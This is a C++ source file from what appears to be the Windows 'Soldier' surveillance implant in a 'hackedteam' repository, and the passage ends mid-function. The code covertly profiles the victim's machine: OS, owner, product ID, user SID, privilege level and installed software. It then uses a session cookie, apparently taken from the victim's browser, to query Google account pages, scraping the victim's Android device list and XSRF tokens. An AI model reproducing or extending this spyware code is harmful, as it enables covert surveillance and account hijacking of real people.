hackedteam/soldier-win

View on GitHub
Soldier/device.cpp

Summary

Maintainability
Test Coverage
#include <Windows.h>
#include <lm.h>
#include <Sddl.h>
#include <Strsafe.h>

#include "globals.h"
#include "zmem.h"
#include "utils.h"
#include "debug.h"

#include "device.h"
#include "social.h"
#include "JSON.h"

extern BOOL ConfIsModuleEnabled(LPWSTR strModule);
//extern DWORD ConvertToUTF8(LPWSTR pIn, LPSTR* pOut);
//extern void GD_DumpBuffer(LPCWSTR lpFileName, char* lpBuffer, DWORD dwSize);

HANDLE g_hDevMutex = NULL;

PDEVICE_CONTAINER lpDeviceContainer = NULL;

BOOL bSendGoogleDevice = TRUE;

VOID GetProcessor(PDEVICE_INFO lpDeviceInfo)
{
    WCHAR strCentralProcKey[] = HWD_DESC_SYS_CENTRALPROC_0;
    WCHAR strProcNameString[] = PROCESSOR_NAME_STRING;

    GetRegistryValue(HKEY_LOCAL_MACHINE, 
        strCentralProcKey, 
        strProcNameString, 
        (LPBYTE) lpDeviceInfo->procinfo.proc, 
        sizeof(lpDeviceInfo->procinfo.proc), 
        KEY_READ);

    LPSYSTEM_INFO lpSysInfo = (LPSYSTEM_INFO) zalloc(sizeof(SYSTEM_INFO));
    GetSystemInfo(lpSysInfo);
    lpDeviceInfo->procinfo.procnum = lpSysInfo->dwNumberOfProcessors;

    zfree(lpSysInfo);
}

VOID GetMemory(PDEVICE_INFO lpDeviceInfo)
{
    LPMEMORYSTATUSEX lpMemoryStatus = (LPMEMORYSTATUSEX) zalloc(sizeof(MEMORYSTATUSEX));
    lpMemoryStatus->dwLength = sizeof(MEMORYSTATUSEX);
    GlobalMemoryStatusEx(lpMemoryStatus);
    
    lpDeviceInfo->meminfo.memtotal = (ULONG) (lpMemoryStatus->ullTotalPhys / (1024*1024));
    lpDeviceInfo->meminfo.memfree = (ULONG) (lpMemoryStatus->ullAvailPhys / (1024*1024));
    lpDeviceInfo->meminfo.memload = (ULONG) (lpMemoryStatus->dwMemoryLoad);

    zfree(lpMemoryStatus);
    lpMemoryStatus = NULL;
}

BOOL CompareServicePack(WORD servicePackMajor)
{
    OSVERSIONINFOEX osVersionInfo;
    
    ZeroMemory(&osVersionInfo, sizeof(OSVERSIONINFOEX));
    
    osVersionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    osVersionInfo.wServicePackMajor = servicePackMajor;
    ULONGLONG maskCondition = ::VerSetConditionMask(0, VER_SERVICEPACKMAJOR, VER_EQUAL);

    return ::VerifyVersionInfo(&osVersionInfo, VER_SERVICEPACKMAJOR, maskCondition);
}

VOID GetOs(PDEVICE_INFO lpDeviceInfo)
{
    WCHAR strNtCurrVersion[] = SOFTW_MICROS_WINNT_CURRVER;
    BOOL bRet;

    WCHAR strProductName[]= PRODUCT_NAME;
    GetRegistryValue(HKEY_LOCAL_MACHINE, 
        strNtCurrVersion, 
        strProductName, 
        lpDeviceInfo->osinfo.ver, 
        sizeof(lpDeviceInfo->osinfo.ver),
        KEY_READ);
        
    //NON e' QUI csdversion!! FIXME

    //provo a cercare il valore nel registry e in caso 
    //di errore o di stringa NULL, provo con la funzione PsGetVersion
    WCHAR strCsdVer[] = CSD_VERSION;
    bRet = GetRegistryValue(HKEY_LOCAL_MACHINE, 
                            strNtCurrVersion, 
                            strCsdVer, 
                            lpDeviceInfo->osinfo.sp, 
                            sizeof(lpDeviceInfo->osinfo.sp),
                            KEY_READ);
/*
    if((bRet == FALSE) || (lpDeviceInfo->osinfo.sp == NULL))
    {
        VerSetConditionMask(VER_SERVICEPACKMAJOR|);

    }
*/
    
    WCHAR strProdId[] = PRODUCT_ID;
    GetRegistryValue(HKEY_LOCAL_MACHINE, 
        strNtCurrVersion, 
        strProdId, 
        lpDeviceInfo->osinfo.id, 
        sizeof(lpDeviceInfo->osinfo.id),
        KEY_READ); // non va FIXME!!!

    WCHAR strOwner[] = REGISTERED_OWNER;
    GetRegistryValue(HKEY_LOCAL_MACHINE, 
        strNtCurrVersion, 
        strOwner, 
        lpDeviceInfo->osinfo.owner, 
        sizeof(lpDeviceInfo->osinfo.owner),
        KEY_READ);

    WCHAR strOrg[]= REGISTERED_ORG;
    GetRegistryValue(HKEY_LOCAL_MACHINE, 
        strNtCurrVersion, 
        strOrg, 
        lpDeviceInfo->osinfo.org, 
        sizeof(lpDeviceInfo->osinfo.org),
        KEY_READ);
}

typedef NET_API_STATUS (WINAPI *NetUserGetInfo_p)(
    _In_   LPWSTR servername,
    _In_   LPWSTR username,
    _In_   DWORD level,
    _Out_  LPBYTE *bufptr);

typedef NET_API_STATUS (WINAPI *NetApiBufferFree_p)(_In_ LPVOID lpBuffer);

VOID GetUser(PDEVICE_INFO lpDeviceInfo)
{
    static NetUserGetInfo_p fpNetUserGetInfo = NULL;
    static NetApiBufferFree_p fpNetApiBufferFree = NULL;

    static WCHAR strNetApi32[] = NETAPI32;
    static CHAR strNetUserGetInfo[] = NETUSERGETINFO;
    static CHAR strNetApiBufferFree[] = NETAPIBUFFERFREE;

    if (fpNetUserGetInfo == NULL)
        fpNetUserGetInfo = (NetUserGetInfo_p) GetProcAddress(LoadLibrary(strNetApi32), strNetUserGetInfo);
    if (fpNetApiBufferFree == NULL)
        fpNetApiBufferFree = (NetApiBufferFree_p) GetProcAddress(LoadLibrary(strNetApi32), strNetApiBufferFree);


    DWORD dwSize = sizeof(lpDeviceInfo->userinfo.username) / sizeof(WCHAR);
    if (!GetUserName(lpDeviceInfo->userinfo.username, &dwSize))
        SecureZeroMemory(lpDeviceInfo->userinfo.username, sizeof(lpDeviceInfo->userinfo.username));
    else
    {
        if (fpNetUserGetInfo != NULL && fpNetApiBufferFree != NULL)
        {
            LPBYTE pUserInfo;
            if (fpNetUserGetInfo(NULL, lpDeviceInfo->userinfo.username, 1, &pUserInfo) == NERR_Success)
            {
                lpDeviceInfo->userinfo.priv = ((LPUSER_INFO_1)pUserInfo)->usri1_priv;
                fpNetApiBufferFree(pUserInfo);
            }

            if (fpNetUserGetInfo(NULL, lpDeviceInfo->userinfo.username, 23, &pUserInfo) == NERR_Success)
            {
                wcsncpy_s(lpDeviceInfo->userinfo.fullname, sizeof(lpDeviceInfo->userinfo.fullname) / sizeof(WCHAR), ((PUSER_INFO_23)pUserInfo)->usri23_full_name, _TRUNCATE);

                LPWSTR strSid;
                if (!ConvertSidToStringSid(((PUSER_INFO_23)pUserInfo)->usri23_user_sid, &strSid))
                    SecureZeroMemory(lpDeviceInfo->userinfo.sid, sizeof(lpDeviceInfo->userinfo.sid));
                else
                    wcsncpy_s(lpDeviceInfo->userinfo.sid, sizeof(lpDeviceInfo->userinfo.sid) / sizeof(WCHAR), strSid, _TRUNCATE);

                fpNetApiBufferFree(pUserInfo);
            }
        }
    }
}

VOID GetLocale(PDEVICE_INFO lpDeviceInfo)
{
    if (!GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_SISO639LANGNAME, lpDeviceInfo->localinfo.lang, sizeof(lpDeviceInfo->localinfo.lang) / sizeof(WCHAR)))
        SecureZeroMemory(lpDeviceInfo->localinfo.lang, sizeof(lpDeviceInfo->localinfo.lang));
    if (!GetLocaleInfo(LOCALE_USER_DEFAULT, LOCALE_SISO3166CTRYNAME, lpDeviceInfo->localinfo.country, sizeof(lpDeviceInfo->localinfo.country) / sizeof(WCHAR)))
        SecureZeroMemory(lpDeviceInfo->localinfo.country, sizeof(lpDeviceInfo->localinfo.country));

    WCHAR strTimeZone[] = SYSTEM_CURRCON_CONTROL_TIMEZONE;
    WCHAR strBias[] = ACTIVE_TIME_BIAS;
    GetRegistryValue(HKEY_LOCAL_MACHINE, 
        strTimeZone, 
        strBias, 
        (LPBYTE)&lpDeviceInfo->localinfo.timebias, 
        sizeof(lpDeviceInfo->localinfo.timebias),
        KEY_READ);

    //get information about the timezone key name
    WCHAR strBuf[128];
    WCHAR strTMZKeyName[] = TMZ_KEY_NAME;
    GetRegistryValue(HKEY_LOCAL_MACHINE, 
        strTimeZone, 
        strTMZKeyName, 
        (LPBYTE)&strBuf, 
        sizeof(strBuf),
        KEY_READ);

    //read the timezone description    
    WCHAR strTimeZoneDesc[256];
    WCHAR strTMZKey[] = SOFTWARE_MICROSOFT_WINNT_CURR_TIMEZONES;
    WCHAR strTMZKeyDesc[] = TMZ_DESCRIPTION;
    _snwprintf_s(strTimeZoneDesc, sizeof(strTimeZoneDesc)/2, _TRUNCATE, L"%s\\%s", strTMZKey, strBuf);    

    
    GetRegistryValue(HKEY_LOCAL_MACHINE, 
        strTimeZoneDesc, 
        strTMZKeyDesc, 
        (LPBYTE)&lpDeviceInfo->localinfo.timezone, 
        sizeof(lpDeviceInfo->localinfo.timezone),
        KEY_READ);    
}

typedef BOOL (WINAPI *GetDiskFreeSpaceEx_p) (LPWSTR, PULARGE_INTEGER, PULARGE_INTEGER, PULARGE_INTEGER);
VOID GetDisk(PDEVICE_INFO lpDeviceInfo)
{
    static GetDiskFreeSpaceEx_p fpGetDiskFreeSpaceEx = NULL;
    static CHAR strGetDiskFreeSpaceEx[] = GETDISKFREESPACEEX;
    static WCHAR strKernel32[] = KERNEL32;

    if (fpGetDiskFreeSpaceEx == NULL)
    {
        fpGetDiskFreeSpaceEx = (GetDiskFreeSpaceEx_p) GetProcAddress(GetModuleHandle(strKernel32), strGetDiskFreeSpaceEx);
        if (fpGetDiskFreeSpaceEx)
        {
            LPWSTR strTempPath = (LPWSTR) zalloc(MAX_FILE_PATH * sizeof(WCHAR));

            if (GetTempPath(MAX_FILE_PATH, strTempPath))
            {
                ULARGE_INTEGER uDiskFree, uDiskTotal;
                if (fpGetDiskFreeSpaceEx(strTempPath, &uDiskFree, &uDiskTotal, NULL))
                {
                    lpDeviceInfo->diskinfo.disktotal = (ULONG) (uDiskTotal.QuadPart / (1024*1024));
                    lpDeviceInfo->diskinfo.diskfree = (ULONG) (uDiskFree.QuadPart / (1024*1024));
                }
                else
                    lpDeviceInfo->diskinfo.disktotal = lpDeviceInfo->diskinfo.diskfree = 0;
            }

            zfree(strTempPath);
        }
    }
}


LPWSTR GetAppList()
{
    DWORD dwAppListSize = 0;
    DWORD dwSam = KEY_READ;
    WCHAR strUninstall[] = SOFTWARE_MICROSOFT_WIN_CURR_UNINSTALL;
    WCHAR strX86Header[] = APPLICATION_LIST_X86;
    WCHAR strX64Header[] = APPLICATION_LIST_X64;
    BOOL bIsWow64, bIs64OS;

    IsX64System(&bIsWow64, &bIs64OS);
    DWORD dwRepeat = 1 + bIsWow64;

    LPWSTR strAppList = (LPWSTR) zalloc((wcslen(strX86Header) + 1) * sizeof(WCHAR));
    StringCbCopy(strAppList, (wcslen(strX86Header) + 1) * sizeof(WCHAR), strX86Header);
    
    for (DWORD i=0; i<dwRepeat; i++)
    {
        HKEY hUninstall = GetRegistryKeyHandle(HKEY_LOCAL_MACHINE, strUninstall, dwSam);
        if (!hUninstall)
            return NULL;

        DWORD dwIdx = 0;
        while (1)
        {
            WCHAR strProductKey[128];
            WCHAR strTmpValue[256];

            DWORD dwLen = sizeof(strProductKey) / sizeof(WCHAR);
            if (RegEnumKeyEx(hUninstall, dwIdx++, strProductKey, &dwLen, NULL, NULL, NULL, NULL) != ERROR_SUCCESS)
                break;

            // if it has a parent then get the parent and skip this one
            WCHAR strParentKeyName[] = PARENT_KEY_NAME;
            if (GetRegistryValue(hUninstall, strProductKey, strParentKeyName, NULL, 0, dwSam)) 
                continue;

            // if it is a system component then skip it
            DWORD dwSysComponent;
            WCHAR strSysComponent[] = SYSTEM_COMPONENT;
            dwLen = sizeof(DWORD);
            if (GetRegistryValue(hUninstall, strProductKey, strSysComponent, (LPBYTE)&dwSysComponent, sizeof(DWORD), dwSam) && dwSysComponent == 1) 
                continue;


            // get data
            LPWSTR strProductName = NULL;
            LPWSTR strProductVersion = NULL;

            // name
            WCHAR strDisplayName[] = DISPLAY_NAME;
            dwLen = sizeof(strProductKey);
            if (!GetRegistryValue(hUninstall, strProductKey, strDisplayName, strTmpValue, dwLen, dwSam))
                continue;
            strProductName = _wcsdup(strTmpValue);

            // version
            WCHAR strDisplayVersion[] = DISPLAY_VERSION;
            dwLen = sizeof(strProductKey);
            if (GetRegistryValue(hUninstall, strProductKey, strDisplayVersion, strTmpValue, dwLen, dwSam))
                strProductVersion = _wcsdup(strTmpValue);

            // append to string
            dwAppListSize = (wcslen(strAppList) + wcslen(strProductName) + (strProductVersion ? wcslen(strProductVersion) : 0) + 5) * sizeof(WCHAR);
            strAppList = (LPWSTR) realloc(strAppList, dwAppListSize);

            StringCbCat(strAppList, dwAppListSize, strProductName);
            if (strProductVersion)
            {    
                StringCbCat(strAppList, dwAppListSize, L" (");
                StringCbCat(strAppList, dwAppListSize, strProductVersion);
                StringCbCat(strAppList, dwAppListSize, L")");
            }
            StringCbCat(strAppList, dwAppListSize, L"\n");

            zfree(strProductName);
            if (strProductVersion)
                zfree(strProductVersion);
        }

        if (i==0 && bIsWow64)
        {
            dwAppListSize += (wcslen(strX64Header)+2)*sizeof(WCHAR);
            strAppList = (LPWSTR) realloc(strAppList, dwAppListSize);
            StringCbCat(strAppList, dwAppListSize, L"\n");
            StringCbCat(strAppList, dwAppListSize, L"\n");
            StringCbCat(strAppList, dwAppListSize, strX64Header);
        }
                
        dwSam |= KEY_WOW64_64KEY;
        RegCloseKey(hUninstall);
    }

    return strAppList;
}

VOID GetDeviceInfo()
{
    BOOL bIsWow64, bIs64OS;

    if (lpDeviceContainer)
        return;

    //check the mutex
    if(g_hDevMutex != NULL)
        if(WaitForSingleObject(g_hDevMutex, 5000) != WAIT_OBJECT_0)
            return;

    PDEVICE_INFO lpDeviceInfo = (PDEVICE_INFO) zalloc(sizeof(DEVICE_INFO));
    LPWSTR strAppList = GetAppList();

    GetProcessor(lpDeviceInfo);
    GetMemory(lpDeviceInfo);
    GetOs(lpDeviceInfo);
    GetUser(lpDeviceInfo);
    GetLocale(lpDeviceInfo);
    GetDisk(lpDeviceInfo);

    IsX64System(&bIsWow64, &bIs64OS);

    DWORD dwSize = (sizeof(DEVICE_INFO) + (strAppList ? wcslen(strAppList)*sizeof(WCHAR) : 0) + 1024 + 1) * sizeof(WCHAR);
    LPWSTR strDeviceString = (LPWSTR) zalloc(dwSize);
    
    StringCbPrintf(strDeviceString, dwSize,
        L"CPU: %d x %s\n"  //FIXME: array
        L"Architecture: %s\n"  //FIXME: array
        L"RAM: %dMB free / %dMB total (%u%% used)\n"  //FIXME: array
        L"Hard Disk: %dMB free / %dMB total\n"  //FIXME: array
        L"\n"  //FIXME: array
        L"Windows Version: %s%s%s%s%s\n"  //FIXME: array
        L"Registered to: %s%s%s%s {%s}\n"  //FIXME: array
        //L"Locale: %s_%s (UTC %.2d:%.2d)\n"  //FIXME: array
        L"Locale: %s_%s (%s)\n"  //FIXME: array
        L"\n" 
        L"User Info: %s%s%s%s%s\n"  //FIXME: array
        L"SID: %s\n"  //FIXME: array
        L"\n%s\n",  //FIXME: array
        lpDeviceInfo->procinfo.procnum, lpDeviceInfo->procinfo.proc,
        bIs64OS ? L"64bit" : L"32bit",  //FIXME: array
        lpDeviceInfo->meminfo.memfree, lpDeviceInfo->meminfo.memtotal, lpDeviceInfo->meminfo.memload,
        lpDeviceInfo->diskinfo.diskfree, lpDeviceInfo->diskinfo.disktotal,
        lpDeviceInfo->osinfo.ver, (lpDeviceInfo->osinfo.sp[0]) ? L" (" : L"", (lpDeviceInfo->osinfo.sp[0]) ? lpDeviceInfo->osinfo.sp : L"", (lpDeviceInfo->osinfo.sp[0]) ? L")" : L"", bIs64OS ? L" (64-bit)" : L" (32-bit)",  //FIXME: array
        lpDeviceInfo->osinfo.owner, (lpDeviceInfo->osinfo.org[0]) ? L" (" : L"", (lpDeviceInfo->osinfo.org[0]) ? lpDeviceInfo->osinfo.org : L"", (lpDeviceInfo->osinfo.org[0]) ? L")" : L"", lpDeviceInfo->osinfo.id,
        //lpDeviceInfo->localinfo.lang, lpDeviceInfo->localinfo.country, (-1 * (int)lpDeviceInfo->localinfo.timebias) / 60, abs((int)lpDeviceInfo->localinfo.timebias) % 60,        
        lpDeviceInfo->localinfo.lang, lpDeviceInfo->localinfo.country, lpDeviceInfo->localinfo.timezone ? lpDeviceInfo->localinfo.timezone : L" Unknown",
        lpDeviceInfo->userinfo.username, (lpDeviceInfo->userinfo.fullname[0]) ? L" (" : L"", (lpDeviceInfo->userinfo.fullname[0]) ? lpDeviceInfo->userinfo.fullname : L"", (lpDeviceInfo->userinfo.fullname[0]) ? L")" : L"", (lpDeviceInfo->userinfo.priv) ? ((lpDeviceInfo->userinfo.priv == 1) ? L"" : L" [ADMIN]") : L" [GUEST]",  //FIXME: array
        lpDeviceInfo->userinfo.sid,
        strAppList ? strAppList : L"");

    lpDeviceContainer = (PDEVICE_CONTAINER) zalloc(sizeof(DEVICE_CONTAINER));
    lpDeviceContainer->pDataBuffer = strDeviceString;
    lpDeviceContainer->uSize = (wcslen(strDeviceString) + 1) * sizeof(WCHAR);

    zfree(strAppList);
    zfree(lpDeviceInfo);

    //release the mutex
    ReleaseMutex(g_hDevMutex);
}



//-----------------------------------GOOGLE DEVICE --------------------------------


DWORD GDev_ExtractDevList(LPWSTR *pwszFormattedList, LPSTR pszRecvBuffer)
{
    LPWSTR pwszTmp=NULL;
    LPSTR  pszFrom=NULL, pszTo=NULL;
    DWORD  dwRet=0, dwSize=0, dwNewSize=0;
    
    if(pszRecvBuffer == NULL)
        return FALSE;

    //search the JSON structure containing the devices info (es: ['DEVICES_JSPB'])
    pszFrom = StrStrIA(pszRecvBuffer, "['DEVICES_JSPB']");
    if(pszFrom == NULL)
        return FALSE;
    pszFrom++;

    //search the first [ char (beginning of the JSON struct)
    pszFrom = strstr(pszFrom, "[");
    if(pszFrom == NULL)
        return FALSE;

    //search a ; char (end of the JSON struct)
    pszTo = pszFrom;
    pszTo = strstr(pszFrom, ";");
    if(pszTo == NULL)
        return FALSE;

    dwSize = (pszTo - pszFrom) - 1;

    //copy the json structure to a tmp buffer
    LPSTR pszJSON = (LPSTR)malloc(dwSize+1);
    if(pszJSON == NULL)
        return FALSE;
    strncpy_s(pszJSON, dwSize+1, pszFrom, dwSize);

    //parse the json struct
    JSONValue *jValue = NULL;
    JSONArray jArray, jDev;
    
    jValue = JSON::Parse(pszJSON);

    znfree(&pszJSON);

    if(jValue == NULL)
        return FALSE;


    LPWSTR pwszDevice = NULL;    

    if(jValue->IsArray() && (jValue->AsArray().size() > 0))
    {
        jArray = jValue->AsArray();

        if(jArray.size() > 0)
        { 
            jArray = jArray[0]->AsArray();

            //loop into array of devices
            for(int i=0; i<jArray.size(); i++)
            {                
                jDev = jArray[i]->AsArray();
                jDev = jDev[0]->AsArray();

                dwSize = wcslen(jDev[2]->AsString().c_str()) +
                         wcslen(jDev[3]->AsString().c_str()) +
                         wcslen(jDev[4]->AsString().c_str()) + 64; //add some bytes to store the description strings

                pwszDevice = (LPWSTR)malloc(dwSize * sizeof(WCHAR));
                if(pwszDevice == NULL)
                {
                    delete jValue;
                    return FALSE;
                }

                swprintf_s(pwszDevice, dwSize, L"Brand: %s\nDevice: %s\nCarrier: %s\n\n", jDev[3]->AsString().c_str(), jDev[2]->AsString().c_str(), jDev[4]->AsString().c_str());

                dwNewSize += (wcslen(pwszDevice) + 1);

                pwszTmp = *pwszFormattedList;
                *pwszFormattedList = (LPWSTR)realloc(*pwszFormattedList, dwNewSize * sizeof(WCHAR));
                if(*pwszFormattedList == NULL)
                {
                    znfree(&pwszDevice);
                    znfree(&pwszTmp);
                    delete jValue;
                    return FALSE;
                }                
                if(pwszTmp == NULL)                
                    SecureZeroMemory(*pwszFormattedList, dwNewSize * sizeof(WCHAR));                

                wcscat_s(*pwszFormattedList, dwNewSize, pwszDevice);

                znfree(&pwszDevice);
            }
        }
        else
        {
            delete jValue;
            return FALSE;
        }
    }
    else
    {
        delete jValue;
        return FALSE;
    }


    delete jValue;

    return TRUE;
}


//get the device list
DWORD GoogleDeviceHandler(LPSTR pszCookie)
{    
    WCHAR   pwszHeader[] = {L'\n', L'G', L'o', L'o', L'g', L'l', L'e', L' ', L'D', L'e', L'v', L'i', L'c', L'e', L's', L':', L'\n', L'\n', '\0'};
    LPWSTR    pwszDevicesList=NULL;
    LPSTR    pszRecvBuffer=NULL;
    DWORD    dwRet, dwBufferSize=0, dwSize=0, dwLen=0;
    CHAR    pszBuf[128];

    if (!ConfIsModuleEnabled(L"device"))
        return SOCIAL_REQUEST_SUCCESS;

    if(!bSendGoogleDevice)
        return FALSE;

    if(lpDeviceContainer)
        return FALSE;

    if(g_hDevMutex == NULL)
        return FALSE;

    //get conn parameters
    dwRet = HttpSocialRequest(L"www.google.com",
                              L"GET",
                              L"/android/devicemanager",
                              L"Host: www.google.com\r\nConnection: keep-alive\r\nCache-Control: max-age=0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*",
                              443,
                              NULL,
                              0,
                              (LPBYTE *)&pszRecvBuffer,
                              &dwBufferSize,
                              pszCookie);

    if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize == 0))
    {
        znfree(&pszRecvBuffer);
    }

    //extract the device list from the received buffer
    dwRet = GDev_ExtractDevList(&pwszDevicesList, pszRecvBuffer);
    znfree(&pszRecvBuffer);

    if((!dwRet) || (pwszDevicesList == NULL))
        return FALSE;

    //get the device info
    GetDeviceInfo();

    //wait for mutex
    if(WaitForSingleObject(g_hDevMutex, 5000) != WAIT_OBJECT_0)
        return FALSE;

    dwSize = wcslen(lpDeviceContainer->pDataBuffer) + wcslen(pwszHeader) + wcslen(pwszDevicesList) + 1;

    //append the google devices info to the device info
    lpDeviceContainer->pDataBuffer = (LPWSTR)realloc(lpDeviceContainer->pDataBuffer, dwSize * sizeof(WCHAR));
    wcscat_s(lpDeviceContainer->pDataBuffer, dwSize, pwszHeader);
    wcscat_s(lpDeviceContainer->pDataBuffer, dwSize, pwszDevicesList);

    lpDeviceContainer->uSize = dwSize * sizeof(WCHAR);

    znfree(&pwszDevicesList);

    //don't send the device list anymore
    bSendGoogleDevice = FALSE;

    //release the mutex for the device
    ReleaseMutex(g_hDevMutex);

    //close the handle to the mutex object
    CloseHandle(g_hDevMutex);
    g_hDevMutex = NULL;

    return TRUE;
}

#ifdef _GDEV_NEW_VERSIONS

LPSTR GDev_EncodeURL(LPSTR strString)
{
    LPSTR strEncoded = NULL;
    char strTmp[4];
    int i, j, dwLen;

    dwLen = strlen(strString);
    //alloc destination string
    strEncoded = (LPSTR)zalloc((dwLen*3) + 1);
    if(strEncoded == NULL)
        return NULL;

    SecureZeroMemory(strEncoded, sizeof(dwLen*3+1));

    for(i=0, j=0; i<dwLen; i++, j++)
    {
        switch(strString[i])
        {
            case '$':
            case '+':
            case ')':
            case ',':
            case ':':
            case ';':
            case '?':
            case '@':
                strEncoded[j++] = '%';
                sprintf(strTmp, "%02X", strString[i]);
                strcat(&strEncoded[j], strTmp);
                j += 1;
                break;
            default:
                strEncoded[j] = strString[i];
                break;
        }
    }
    strEncoded[j] = 0;

    return strEncoded;
}

//window._uc='[\42pb6_nYs3-m4J_ne7qHvKNy-S_ww:1423730549069\42
DWORD GDev_GetToken_V2(LPSTR *pszToken1, LPSTR pszBuffer)
{
    LPSTR pszFrom=NULL, pszTo=NULL;
    DWORD dwSize=0;

    //search the string "window._uc='[\42"
    pszFrom = strstr(pszBuffer, "window._uc='[\\42");
    if(pszFrom == NULL)
        return FALSE;
    pszFrom += (strlen("window._uc='[\\42"));
    pszTo = pszFrom;

    //search the first '\42'
    pszTo = strstr(pszFrom, "\\42");
    if(pszFrom == NULL)
        return FALSE;

    //skip the first " char
    pszTo -= 1;
    
    dwSize = pszTo - pszFrom;

    *pszToken1 = (LPSTR)malloc(dwSize + 1);
    if(*pszToken1 == NULL)
        return FALSE;
    strncpy_s(*pszToken1, dwSize+1, pszFrom, dwSize);

    return TRUE;
}

DWORD GDev_GetDevices_V2(LPSTR pszCookie)
{    
    LPWSTR    pwszDevicesList=NULL;
    LPSTR    pszRecvBuffer=NULL, pszToken=NULL;
    DWORD    dwRet, dwBufferSize=0, dwSize=0, dwLen=0;
    CHAR    pszBuf[128];

    if(!bSendGoogleDevice)
        return FALSE;

    //check the mutex
    if(hDevMutex == NULL)
        return FALSE;
    
    dwRet = HttpSocialRequest(L"play.google.com",
                              L"GET",
                              L"/settings",
                              L"Host: play.google.com\r\nConnection: keep-alive\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
                              443,
                              NULL,
                              0,
                              (LPBYTE *)&pszRecvBuffer,
                              &dwBufferSize,
                              pszCookie);

    GD_DumpBuffer(L"k:\\GDocs\\play_devices", pszRecvBuffer, dwBufferSize);

    //extract the token value
    dwRet = GDev_GetToken_V2(&pszToken, pszRecvBuffer);
    if(dwRet == FALSE)
    {
        znfree(&pszRecvBuffer);
        return FALSE;
    }
    znfree(&pszRecvBuffer);

    LPSTR pszEncBuf = GDev_EncodeURL(pszToken);
    LPSTR pszSendBuf = (LPSTR)malloc(256);
    sprintf_s(pszSendBuf, 256, "xhr=1&token=%s", pszEncBuf);    

    //get conn parameters
    dwRet = HttpSocialRequest(L"play.google.com",
                              L"POST",
                              L"/store/xhr/ructx",
                              L"Host: play.google.com\r\nConnection: keep-alive\r\nOrigin: https://play.google.com\r\nContent-Type: application/x-www-form-urlencoded;charset=UTF-8\r\nAccept: */*\r\nReferer: https://play.google.com/settings",
                              443,
                              (LPBYTE)pszSendBuf,
                              strlen(pszSendBuf),
                              (LPBYTE *)&pszRecvBuffer,
                              &dwBufferSize,
                              pszCookie);

    if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize == 0))
    {
        znfree(&pszRecvBuffer);
    }

    //extract the device list from the received buffer
    dwRet = GDev_ExtractDevList(&pwszDevicesList, pszRecvBuffer);
    znfree(&pszRecvBuffer);

    if((!dwRet) || (pwszDevicesList == NULL))
        return FALSE;

    //get the device info
    GetDeviceInfo();

    //wait for mutex release
    if(WaitForSingleObject(hDevMutex, 5000) != WAIT_OBJECT_0)
        return FALSE;

    dwSize = wcslen(lpDeviceContainer->pDataBuffer) + wcslen(pwszDevicesList) + 1;

    //append the google devices info to the device info
    lpDeviceContainer->pDataBuffer = (LPWSTR)realloc(lpDeviceContainer->pDataBuffer, dwSize * sizeof(WCHAR));
    wcscat_s(lpDeviceContainer->pDataBuffer, dwSize, pwszDevicesList);

    lpDeviceContainer->uSize = dwSize * sizeof(WCHAR);

    znfree(&pwszDevicesList);

    ReleaseMutex(hDevMutex);

    bSendGoogleDevice = FALSE;

    return TRUE;
}


//["xsrf","AKbdrOanfw0bceGzySGgmi1nvJ4L33MG7A:1423498235308"
DWORD GDev_GetToken_V3(LPSTR *pszToken1, LPSTR *pszToken2, LPSTR pszBuffer)
{
    LPSTR pszFrom=NULL, pszTo=NULL;
    DWORD dwSize=0;

    //search the string "xsrf"
    pszFrom = strstr(pszBuffer, "[[\"xsrf\"");
    if(pszFrom == NULL)
        return FALSE;
    pszTo = pszFrom;

    //search the first '}'
    pszTo = strstr(pszFrom, "}");
    if(pszFrom == NULL)
        return FALSE;

    //skip the first " char
    pszTo -= 1;
    
    dwSize = pszTo - pszFrom;

    pszBuffer = (LPSTR)malloc(dwSize + 1);
    if(pszBuffer == NULL)
        return FALSE;
    strncpy_s(pszBuffer, dwSize+1, pszFrom, dwSize);

    JSONValue *jValue = NULL;
    JSONArray jArray;

    jValue = JSON::Parse(pszBuffer);
    znfree(&pszBuffer);

    if(jValue == NULL)
        return FALSE;

    if(jValue->IsArray())
    {
        jArray = jValue->AsArray();
        if(jArray[0]->IsArray())
        {
            jArray = jArray[0]->AsArray();

            if(jArray.size() >= 4)
            {
                //get the first token
                if((jArray[1]->IsString()) && (jArray[1]->AsString().c_str() != NULL))
                {
                    ConvertToUTF8((LPWSTR)jArray[1]->AsString().c_str(), pszToken1);
                    if(*pszToken1 == NULL)
                    {
                        delete jValue;
                        return FALSE;
                    }
                }

                //get the second token
                if((jArray[3]->IsString()) && (jArray[3]->AsString().c_str() != NULL))
                {
                    ConvertToUTF8((LPWSTR)jArray[3]->AsString().c_str(), pszToken2);
                    if(*pszToken2 == NULL)
                    {
                        znfree(pszToken1);
                        delete jValue;
                        return FALSE;
                    }
                }            
            }
        }
    }

    delete jValue;

    return TRUE;
}


//get the device list
DWORD GDev_GetDevices_V3(LPSTR pszCookie)
{    
    LPWSTR    pwszFormattedList=NULL;
    LPSTR    pszRecvBuffer=NULL, pszSendBuf=NULL, pszToken1=NULL, pszToken2=NULL;
    DWORD    dwRet, dwBufferSize=0, dwSize=0, dwLen=0;
    CHAR    pszBuf[128];    
    
    //check the mutex


    //get conn parameters
    dwRet = HttpSocialRequest(L"www.google.com",
                              L"GET",
                              L"/settings/dashboard/",
                              L"Host: www.google.com\r\nConnection: keep-alive\r\nCache-Control: max-age=0\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*\r\nReferer: https://accounts.google.com/b/0/VerifiedPhoneInterstitial?continue=https%3A%2F%2Fwww.google.com%2Fsettings%2Fdashboard&sarp=1",
                              443,
                              NULL,
                              0,
                              (LPBYTE *)&pszRecvBuffer,
                              &dwBufferSize,
                              pszCookie);

    if((dwRet != SOCIAL_REQUEST_SUCCESS) || (dwBufferSize == 0))
    {
        znfree(&pszRecvBuffer);
    }    

    //get the token parameter to use in next queries
    dwRet = GDev_GetToken_V3(&pszToken1, &pszToken2, pszRecvBuffer);
    znfree(&pszRecvBuffer);

    if(dwRet == FALSE)
        return FALSE;

    //post data
    LPSTR pszTmp = (LPSTR)malloc(512);
    if(pszTmp == NULL)
        return FALSE;
